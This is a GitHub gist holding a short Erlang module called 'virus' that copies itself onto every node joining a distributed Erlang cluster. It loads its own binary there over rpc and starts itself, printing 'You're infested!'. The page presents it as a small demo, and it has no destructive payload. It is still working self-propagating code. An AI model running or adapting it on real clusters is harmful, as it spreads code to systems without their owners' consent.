Created
March 4, 2011 09:26
-
-
Save eproxus/854389 to your computer and use it in GitHub Desktop.
A small module that jumps between connected nodes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%% @doc A small module that jumps between connected nodes. | |
%% @author Gianfranco Alongi <[email protected]> | |
%% @author Adam Lindberg <[email protected]> | |
-module(virus). | |
-export([start/0]). | |
-export([start/1]). | |
start() -> spawn_process(code:get_object_code(?MODULE)). | |
start(Beam) -> spawn_process(Beam). | |
spawn_process(Beam) -> | |
case whereis(?MODULE) of | |
undefined -> spawn(fun() -> virus(Beam) end); | |
_Else -> ok | |
end. | |
virus(Beam) -> | |
register(?MODULE, self()), | |
net_kernel:monitor_nodes(true), | |
io:format(user, "You're infested!~n", []), | |
%[infest(Node) || Node <- nodes()], | |
virus_loop(Beam). | |
virus_loop(Beam) -> | |
receive | |
{nodeup, Node} -> | |
infest(Node, Beam), | |
io:format(user, "~p has joined!~n", [Node]) | |
end, | |
virus_loop(Beam). | |
infest(Node, {Mod, Bin, File} = Beam) -> | |
{module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]), | |
rpc:call(Node, ?MODULE, start, [Beam]). |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
awesome